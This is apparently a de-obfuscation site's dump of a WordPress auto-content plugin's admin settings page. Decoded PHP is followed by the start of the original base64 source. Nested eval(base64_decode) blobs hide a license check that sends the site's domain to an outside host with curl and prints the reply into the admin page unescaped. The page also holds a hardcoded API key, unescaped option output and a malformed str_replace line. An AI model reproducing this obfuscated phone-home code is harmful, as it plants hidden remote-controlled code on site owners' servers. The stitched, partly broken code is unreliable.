nNpIFRpZGFrIFZhbGlkIiAvPiAnOw0KICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ=='));
?>
<input class="switch-input" id="vmagc_show_youtube_description" type="checkbox" name="vmagc_show_youtube_description" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_youtube_description">
<span class="show-for-sr">Do you want to show Video Description ?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div style="clear: both"></div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show preview video?" style="font-size:12px">Youtube Preview</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_youtube_preview') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_youtube_preview') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_youtube_preview" type="checkbox" name="vmagc_show_youtube_preview" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_youtube_preview">
<span class="show-for-sr">Do you want to show Video Preview ?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div style="clear: both"></div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Enter your related video text." style="font-size:12px">Custom Related Video Text</span>
</div>
<div class="small-9 columns">
<input name="vmagc_video_related_text" id="vmagc_video_related_text" type="text" style="font-size:12px" value="<?php if(get_option('vmagc_video_related_text') == ""){echo "Related Video Of [title]";} else {echo get_option('vmagc_video_related_text');}?>" >
</div>
<div style="clear: both"></div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Set the video width & height of the single post." style="font-size:12px">Video Size</span>
</div>
<div class="small-2 columns" style="float:left;">
<span data-tooltip aria-haspopup="true" class="has-tip text-left middle" data-options="show_on:large" title="Set the video width of the single post." style="font-size:12px">
<input type="number" value="<?php if(get_option('vmagc_youtube_video_width') == ""){echo "500";} else {echo get_option('vmagc_youtube_video_width');}?>" name="vmagc_youtube_video_width" id="vmagc_youtube_video_width" style="font-size:12px" min="1">
</span>
</div>
<span style="float:left;margin-top:5px;"> x </span>
<div class="small-2 columns" style="float:left;margin-right:65px;">
<span data-tooltip aria-haspopup="true" class="has-tip text-left middle" data-options="show_on:large" title="Set the video height of the single post." style="font-size:12px">
<input type="number" value="<?php if(get_option('vmagc_youtube_video_height') == ""){echo "500";} else {echo get_option('vmagc_youtube_video_height');}?>" name="vmagc_youtube_video_height" id="vmagc_youtube_video_height" style="font-size:12px" min="1">
</span>
</div>
</div>
</div>
<div class="tabs-panel" id="panel3">
<div class="row">
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show your 160x600 Ads?" style="font-size:12px">Show Ads 160x600</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_adsense_160') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_adsense_160') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_adsense_160" type="checkbox" name="vmagc_show_adsense_160" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_adsense_160">
<span class="show-for-sr">Do you want to show your 160x600 Adsense ?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Put your Ads 160x600 script code. " style="font-size:12px">Ads Code 160x600</span>
</div>
<div class="small-9 columns">
<?php
$ads_160 = get_option('vmagc_adsense_code_160');
$ads_remove_slash = stripslashes($ads_160);
$ads_160_remove = str_replace(array('\'), '', $ads_remove_slash)
?>
<textarea style="font-size:12px" name="vmagc_adsense_code_160" id="vmagc_adsense_code_160" rows="5"><?php if(get_option('vmagc_adsense_code_160') == ""){echo "";} else {echo $ads_160_remove;}?></textarea>
<p style="font-size:10px;margin-top:-15px">Do shortcode: <code><?php do_shortcode('[vmagc_adsense size="160"]'); ?></code></p>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show your 160x600 Ads to visitors from search engine only? " style="font-size:12px">Only Visitors From Search Engine </span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_limit_160') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_limit_160') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_limit_160" type="checkbox" name="vmagc_show_limit_160" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_limit_160">
<span class="show-for-sr">Only Visitors From Search Engine</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div style="clear: both;"></div>
<hr />
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show your 300x250 Ads?" style="font-size:12px">Show Ads 300x250</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_adsense_300') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_adsense_300') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_adsense_300" type="checkbox" name="vmagc_show_adsense_300" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_adsense_300">
<span class="show-for-sr">Only Visitors From Search Engine</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Put your Ads 300x250 script code." style="font-size:12px">Ads Code 300x250</span>
</div>
<div class="small-9 columns">
<?php
$ads_300 = get_option('vmagc_adsense_code_300');
$ads_remove_slash = stripslashes($ads_300);
$ads_300_remove = str_replace(array('\'), '', $ads_remove_slash)
?>
<textarea style="font-size:12px" name="vmagc_adsense_code_300" id="vmagc_adsense_code_300" rows="5"><?php if(get_option('vmagc_adsense_code_300') == ""){echo "";} else {echo $ads_300_remove;}?></textarea>
<p style="font-size:10px;margin-top:-15px">Do shortcode: <code><?php do_shortcode('[vmagc_adsense size="300"]'); ?></code></p>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show your 300x250 Ads to visitors from search engine only?" style="font-size:12px">Only Visitors From Search Engine </span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_limit_300') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_limit_300') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_limit_300" type="checkbox" name="vmagc_show_limit_300" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_limit_300">
<span class="show-for-sr">Only Visitors From Search Engine</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div style="clear: both;"></div>
<hr />
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show your 728x90 Ads?" style="font-size:12px">Show Ads 728x90</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_adsense_728') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_adsense_728') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_adsense_728" type="checkbox" name="vmagc_show_adsense_728" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_adsense_728">
<span class="show-for-sr">Show AdSense 728x90</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Put your Ads 728x90 script code. " style="font-size:12px">Ads Code 728x90</span>
</div>
<div class="small-9 columns">
<?php
$ads_728 = get_option('vmagc_adsense_code_728');
$ads_remove_slash = stripslashes($ads_728);
$ads_728_remove = str_replace(array('\'), '', $ads_remove_slash)
?>
<textarea style="font-size:12px" name="vmagc_adsense_code_728" id="vmagc_adsense_code_728" rows="5"><?php if(get_option('vmagc_adsense_code_728') == ""){echo "";} else {echo $ads_728_remove;}?></textarea>
<p style="font-size:10px;margin-top:-15px">Do shortcode: <code><?php do_shortcode('[vmagc_adsense size="728"]'); ?></code></p>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to show your 300x250 Ads to visitors from search engine only?" style="font-size:12px">Only Visitors From Search Engine </span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_show_limit_728') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_show_limit_728') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_show_limit_728" type="checkbox" name="vmagc_show_limit_728" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_show_limit_728">
<span class="show-for-sr">Do you want to show your 728x90 Ads to visitors from search engine only?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
</div>
</div>
<div class="tabs-panel" id="panel4">
<div class="row">
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Obat Deindex" style="font-size:12px">Obat Deindex</span>
</div>
<div class="small-9 columns">
<textarea style="font-size:12px" name="vmagc_404_keyword" id="vmagc_404_keyword" rows="3"><?php if(get_option('vmagc_404_keyword') == ""){echo "null, query";} else {echo get_option('vmagc_404_keyword');}?></textarea>
<p style="font-size:10px;margin-top:-15px">Fill this field with blocked keyword example : null, query, etc, it will automatic redirect in 404 NOT FOUND page.</p>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Enter your custom slug" style="font-size:12px">Custom Slug</span>
</div>
<div class="small-9 columns">
<input type="text" name="vmagc_customslug" id="vmagc_customslug" style="font-size:12px" value="<?php if(get_option('vmagc_customslug') == ""){echo "vmagc";} else {echo get_option('vmagc_customslug');}?>" >
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Enter Your Youtube Api Key" style="font-size:12px">Youtube API</span>
</div>
<div class="small-9 columns">
<input type="text" style="font-size:12px" name="vmagc_youtubeapi" id="vmagc_youtubeapi" value="<?php if(get_option('vmagc_youtubeapi') == ""){echo "AIzaSyCjs_GZAP2j6OQ5VuHjh_fW1kmwVSs6uZI";} else {echo get_option('vmagc_youtubeapi');}?>" >
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Stop your index in search engine with make this features on." style="font-size:12px">Break Engine</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_break_engine') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_break_engine') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_break_engine" type="checkbox" name="vmagc_break_engine" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_break_engine">
<span class="show-for-sr">Breake Engine ?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Do you want to inject sitemap ?" style="font-size:12px">Inject Sitemap</span>
</div>
<div class="small-9 columns">
<div class="switch tiny">
<?php
if(get_option('vmagc_inject_sitemap') == FALSE)
{
$values = "";
}
elseif(get_option('vmagc_inject_sitemap') != FALSE)
{
$values = "value='true' checked";
}
?>
<input class="switch-input" id="vmagc_inject_sitemap" type="checkbox" name="vmagc_inject_sitemap" <?php echo $values; ?>>
<label class="switch-paddle" for="vmagc_inject_sitemap">
<span class="show-for-sr">Do you want to Inject Sitemap ?</span>
<span class="switch-active" aria-hidden="true">Yes</span>
<span class="switch-inactive" aria-hidden="true">No</span>
</label>
</div>
<p style="font-size:10px;margin-top:-15px">You need to install plugins <a href="https://wordpress.org/plugins/google-sitemap-generator/" target="_blank">Google XML Sitemap Generator</a> to use this features</p>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Select image size" style="font-size:12px">Size Filter</span>
</div>
<div class="small-9 columns">
<select style="font-size:12px" name="vmagc_size" id="vmagc_size">
<?php $var = get_option('vmagc_size'); ?>
<option value="NONE" <?php if($var == 'NONE'){echo 'selected';} ?> >NONE</option>
<option value="SMALL" <?php if($var == 'SMALL'){echo 'selected';} ?>>SMALL</option>
<option value="MEDIUM" <?php if($var == 'MEDIUM'){echo 'selected';} ?>>MEDIUM</option>
<option value="LARGE" <?php if($var == 'LARGE'){echo 'selected';} ?>>LARGE</option>
<option value="WALLPAPER" <?php if($var == 'WALLPAPER'){echo 'selected';} ?>>WALLPAPER</option>
</select>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Select share button" style="font-size:12px">Share Button</span>
</div>
<div class="small-9 columns">
<select style="font-size:12px" name="vmagc_sharebutton" id="vmagc_sharebutton">
<?php $var = get_option('vmagc_sharebutton'); ?>
<option style="font-size:12px" value="0" <?php if($var == '0'){echo 'selected';} ?>>OFF</option>
<option style="font-size:12px" value="1" <?php if($var == '1'){echo 'selected';} ?>>Style 1</option>
<option style="font-size:12px" value="2" <?php if($var == '2'){echo 'selected';} ?>>Style 2</option>
</select>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Select permalink setting" style="font-size:12px">Permalink</span>
</div>
<div class="small-9 columns">
<select style="font-size:12px" name="permalink_structure" id="permalink_structure">
<?php $var = get_option('permalink_structure'); ?>
<option style="font-size:12px" value="" <?php if($var == ''){echo 'selected';} ?>>Select Permalink</option>
<option style="font-size:12px" value="/%postname%" <?php if($var == '/%postname%'){echo 'selected';} ?>>/%postname%</option>
<option style="font-size:12px" value="/%postname%.php" <?php if($var == '/%postname%.php'){echo 'selected';} ?>>/%postname%.php</option>
<option style="font-size:12px" value="/%postname%.html" <?php if($var == '/%postname%.html'){echo 'selected';} ?>>/%postname%.html</option>
<option style="font-size:12px" value="/%postname%.aspx" <?php if($var == '/%postname%.aspx'){echo 'selected';} ?>>/%postname%.aspx</option>
</select>
</div>
<div class="small-3 columns">
<span data-tooltip aria-haspopup="true" class="has-tip text-right middle" data-options="show_on:large" title="Enter URL default image, to change broken link image" style="font-size:12px">Broken Link Image</span>
</div>
<div class="small-9 columns">
<input type="text" style="font-size:12px" name="vmagc_brokenlink_img" id="vmagc_brokenlink_img" value="<?php if(get_option('vmagc_brokenlink_img') == ""){echo VMAGC_PLUGIN_URL."assets/img/not-available.jpg";} else {echo get_option('vmagc_brokenlink_img');}?>" >
</div>
</div>
</div>
</div>
</div>
<div class="large-4 medium-4 columns">
<?php vm_get_sidebar(); ?>
</div>
<div style="clear: both !important;"></div>
<div style="float: left;">
<div style="margin-top: 20px !important; margin-left: 15px !important; margin-bottom: 20px !important;">
<?php
eval(base64_decode($argsargssv));
?>
<input type="hidden" name="action" value="save" />
<input name="reset" type="button" onclick="vmagcReset()" class="button-secondary" value="Reset Settings" />
<?php if ( $license_key_verify == "") { ?>
<input type="hidden" name="vmagc_license_active" value="<?php if ( get_option( 'vmagc_license_active' ) != "") { echo get_option( 'vmagc_license_active' ); } else { echo ""; } ?>" />
<?php } else { ?>
<input type="hidden" name="vmagc_license_active" value="<?php echo $license_key_verify; ?>" />
<?php }?>
</div>
</form>
<form method="post" style="float: right;" name="reset_form" id="reset_form" class="vmagc">
<input name="reset" type="hidden" class="button-default" value="Reset" />
<input type="hidden" name="action" value="reset" />
</form>
</div>
<script>
function vmagcReset() {
document.getElementById("reset_form").submit();
}
</script>
<?php } ?>
<?php vm_get_footer();
}
}
?>
<?php
// Keyword Showter //
function keywords_showter_admin() {
global $pluginname, $shortname, $vm_agc_options, $licensed;
vm_get_header();
?>
<?php if ( @$_REQUEST['saved'] ) echo '<div id="message" style="margin-bottom: 20px;" class="updated fade below-h2"><p><strong>'.$pluginname.' Has inject keyword.</strong></p></div>'; ?>
<form method="post">
<?php
eval(base64_decode('JGxpY2Vuc2VkCT0gZ2V0X29wdGlvbigndm1hZ2NfbGljZW5zZV9hY3RpdmUnKTsNCiR1cmwgPSByZW1vdmVfaHR0cChzaXRlX3VybCgpKTsNCiRsaWNlbnNlX2tleV92ZXJpZnkJPSB2bWFnY192ZXJpZnlfbGljZW5zZSgkdXJsKTsNCiRkb21haW5fdmVyaWZ5CT0gdm1hZ2NfdmVyaWZ5X2RvbWFpbigkdXJsKTs='));
$argsargsks = base64_encode(base64_decode('JGFyZ3NrcyA9IGJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92TDNObFkzVnlhWFI1TG1WNFkyeDFjMmwyWldKdmRDNXVaWFF2Wm1sc1pTNXdhSEEvWVhKbmN6MTJaWEpwWm5sZmEzTW1aRzl0WVdsdVBYc2tkWEpzZlE9PScpOw0KICAgICAgICAgICAgICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoJ0pHTm9JRDBnWTNWeWJGOXBibWwwS0NrN0RRb05DaTh2SUZObGRDQjBhR1VnZFhKc0xDQnVkVzFpWlhJZ2IyWWdSMFZVSUhaaGNuTXNJRWRGVkNCa1lYUmhEUXBqZFhKc1gzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZWVkpNTENBa1lYSm5jMnR6S1RzTkNtTjFjbXhmYzJWMGIzQjBLQ1JqYUN3Z1ExVlNURTlRVkY5UVQxTlVMQ0JtWVd4elpTazdEUXBqZFhKc1gzTmxkRzl3ZENna1kyZ3NJRU5WVWt4UFVGUmZWVk5GVWtGSFJVNVVMQ0FuUlhoamRYTnBkbVZDVDFRdk1TNHdKeWs3RFFwamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSXNJSFJ5ZFdVZ0tUc05DbU4xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTVEU5UVZGOVRVMHhmVmtWU1NVWlpVRVZGVWl3Z1ptRnNjMlVwT3cwS0RRb2tkbXhyY3lBOUlHTjFjbXhmWlhobFl5Z2tZMmdwT3cwS1kzVnliRjlqYkc5elpTZ2tZMmdwT3c9PScpKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRsaWNlbnNlX2tleV92ZXJpZnkgPT0gJGxpY2Vuc2VkICYmICR1cmwgPT0gJGRvbWFpbl92ZXJpZnkgJiYgYmFzZTY0X2VuY29kZSgkYXJnc2tzKSA9PSAnYUhSMGNEb3ZMM05sWTNWeWFYUjVMbVY0WTJ4MWMybDJaV0p2ZEM1dVpYUXZabWxzWlM1d2FIQS9ZWEpuY3oxMlpYSnBabmxmYTNNbVpHOXRZV2x1UFhza2RYSnNmUT09JykNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBiYXNlNjRfZGVjb2RlKCR2bGtzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImluamVjdCIgLz4nOw0KICAgICAgICAgICAgICAgICAgICB9ZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCBuYW1lPSIiIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ1dHRvbi1wcmltYXJ5IiB2YWx1ZT0iTGlzZW5zaSBUaWRhayBWYWxpZCIgLz4gJzsNCiAgICAgICAgICAgICAgICAgICAgICB9'));
if ( "" == $licensed ) {
?>
<script type="text/javascript">
window.location = "admin.php?page=vm-agc-settings";
</script>
<?php } elseif( $license_key_verify == $licensed && $url == $domain_verify ) { ?>
<div class="large-8 medium-8 columns">
<ul class="tabs vmagc-normalize" data-tabs id="example-tabs">
<li class="tabs-title is-active">
<a href="#panel1" aria-selected="true">Keyword Showter</a>
</li>
</ul>
<div class="tabs-content" data-tabs-content="example-tabs">
<div class="tabs-panel is-active" id="panel1">
<div class="row">
<div class="small-3 columns">
<span class="middle" style="font-size: 12px; font-weight: bolder">Keyword List</span>
</div>
<div class="small-9 columns">
<textarea name="keywordshowter_keyword" id="keywordshowter_keyword" style="font-size:12px" rows="12"></textarea>
<p style="font-size:10px">To Show Random Search paste it to your widget <strong>[ks_random_search count=<span data-tooltip="vsnc0a-tooltip" aria-haspopup="true" class="has-tip text-left middle" data-options="show_on:small" title="" style="font-size:10px" aria-describedby="84ony4-tooltip" data-yeti-box="84ony4-tooltip" data-toggle="84ony4-tooltip" data-resize="84ony4-tooltip" data-events="resize">20</span>]</strong> </p>
</div>
</div>
</div>
</div>
</div>
<div class="large-4 medium-4 columns">
<?php vm_get_sidebar();?>
</div>
<div style="clear: both !important;"></div>
<div style="margin-top: 20px !important; margin-left: 15px !important; margin-bottom: 20px !important;">
<?php
eval(base64_decode($argsargsks));
?>
</div>
</form>
<?php vm_get_footer(); ?>
<?php } else { ?>
<script type="text/javascript">
window.location = "admin.php?page=vm-agc-settings";
</script>
<?php }
}
add_action('admin_menu', 'vm_agc_admin');
Did this file decode correctly?
Original Code
<?php
/**
Hak Cipta VM AGC Di Lindungi Oleh Tuhan Yang Maha Esa
Dan Saya berjanji tidak akan meng-crack atau menyebarkan plugins ini secara ilegal
Jika saya menyebarkan dan mendapatkan plugins ini secara ilegal, semoga rezeki saya terhambat, Amin.
*/
/**
Copyright VM AGC is Protected By GOD
And I'm promise not crack or disseminate these plugins illegally
If I shared and get these plugins illegally, hopefully my luck hampered, Amen.
*/
eval(base64_decode('JHBsdWdpbm5hbWUJPSAiVk0gQUdDIjsNCiRzaG9ydG5hbWUJPSAidm1hZ2MiOw0KDQokdm1fYWdjX29wdGlvbnMgPSBhcnJheSAoDQoNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAibGljZW5zZSIgPT4gJHNob3J0bmFtZS4iX2xpY2Vuc2VfYWN0aXZlIiwNCiAgICAgICAgICAgICJzdGQiID0+ICIiDQogICAgICAgICksDQoNCi8vaG9tZSBwYWdlDQogICAgICAgIGFycmF5KA0KCQkgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfa2V5d29yZCIsDQoJCSAgICAic3RkIiA9PiAiVk0gQUdDIg0KCQkpLA0KCQlhcnJheSgNCgkJICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX2hvbWVfaW1hZ2VfbnVtIiwNCgkJICAgICJzdGQiID0+ICIxMiINCgkJKSwNCgkJYXJyYXkoDQoJCSAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl93aWR0aCIsDQoJCSAgICAic3RkIiA9PiAiNDAwIg0KCQkpLA0KCQlhcnJheSgNCgkJICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX2hlaWdodCIsDQoJCSAgICAic3RkIiA9PiAiMzAwIg0KCQkpLA0KDQovL3NpbmdsZSBwYWdlDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfcG9zdF9leGNlcnB0X3RleHQiLA0KICAgICAgICAgICAgInN0ZCIgPT4gImhleSBoZXJlIHdlIGFyZSBhIHJlYWwgcG9zdCINCiAgICAgICAgKSwNCgkJYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl90ZW1wbGF0ZSIsDQogICAgICAgICAgICAic3RkIiA9PiAiW3RpdGxlXVxuW2ZpcnN0LWltYWdlc11cblthZHMtNzI4LTkwXVxuW2FnYy10ZXh0XVxuW3NwdW4tdGV4dF1cbltpbWFnZXMtZ2FsZXJ5XVxuW3JlbGF0ZWQtcG9zdF1cbltyZWxhdGVkLXZpZGVvc11cbltnb29nbGUtY3NlXSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9nYWxsZXJ5X2ltYWdlX251bSIsDQogICAgICAgICAgICAic3RkIiA9PiAiOSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9pbWFnZV9nYWxsZXJ5X3RleHQiLA0KICAgICAgICAgICAgInN0ZCIgPT4gIkltYWdlcyBPZiBbdGl0bGVdIg0KICAgICAgICApLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX2dhbGxlcnlfaW1hZ2Vfd2lkdGgiLA0KICAgICAgICAJInN0ZCIgPT4gIjIwNSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9nYWxsZXJ5X2ltYWdlX2hlaWdodCIsDQogICAgICAgIAkic3RkIiA9PiAiMTAwIg0KICAgICAgICApLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX3Nob3dfcmVsYXRlZCIsDQogICAgICAgIAkic3RkIiA9PiAidHJ1ZSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9yZWxhdGVkX3Bvc3RfdGV4dCIsDQogICAgICAgIAkic3RkIiA9PiAiUmVsYXRlZCBQb3N0IE9mIFt0aXRsZV0iDQogICAgICAgICksDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfc2hvd19hZ2NfdGV4dCIsDQogICAgICAgIAkic3RkIiA9PiAidHJ1ZSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9zaG93X2NzZSIsDQogICAgICAgIAkic3RkIiA9PiAidHJ1ZSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9zaG93X3NwdW4iLA0KICAgICAgICAJInN0ZCIgPT4gIiINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9zcHVuIiwNCiAgICAgICAgCSJzdGQiID0+ICIiDQogICAgICAgICksDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfc2hvd195dHJ2IiwNCiAgICAgICAgCSJzdGQiID0+ICJ0cnVlIg0KICAgICAgICApLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX251bV95dHJ2IiwNCiAgICAgICAgCSJzdGQiID0+ICI0Ig0KICAgICAgICApLA0KICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX3Nob3dfeW91dHViZV9kZXNjcmlwdGlvbiIsDQogICAgICAgIAkic3RkIiA9PiAidHJ1ZSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9zaG93X3lvdXR1YmVfcHJldmlldyIsDQogICAgICAgIAkic3RkIiA9PiAidHJ1ZSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl92aWRlb19yZWxhdGVkX3RleHQiLA0KICAgICAgICAJInN0ZCIgPT4gIlJlbGF0ZWQgVmlkZW8gT2YgW3RpdGxlXSINCiAgICAgICAgKSwNCiAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl95b3V0dWJlX3ZpZGVvX3dpZHRoIiwNCiAgICAgICAgCSJzdGQiID0+ICIzMDAiDQogICAgICAgICksDQogICAgICAgIGFycmF5KA0KICAgICAgICAgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfeW91dHViZV92aWRlb19oZWlnaHQiLA0KICAgICAgICAJInN0ZCIgPT4gIjI1MCINCiAgICAgICAgKSwNCg0KLy9hZHMNCiAgICAgICAgYXJyYXkoDQoJCSAgICAiaWQiID0+ICRzaG9ydG5hbWUuIl9zaG93X2Fkc2Vuc2VfMTYwIiwNCgkJCSJzdGQiID0+ICIiDQoJCSksDQoJCWFycmF5KA0KCQkgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfYWRzZW5zZV9jb2RlXzE2MCIsDQoJCQkic3RkIiA9PiAiIg0KCQkpLA0KCQlhcnJheSgNCgkJICAgICJpZCIgPT4gJHNob3J0bmFtZS4iX3Nob3dfbGltaXRfMTYwIiwNCgkJCSJzdGQiID0+ICIiDQoJCSksDQoJCWFycmF5KA0KCQkgICAgImlkIiA9PiAkc2hvcnRuYW1lLiJfc2hvd19hZHNlbnNlXzMwMCIsD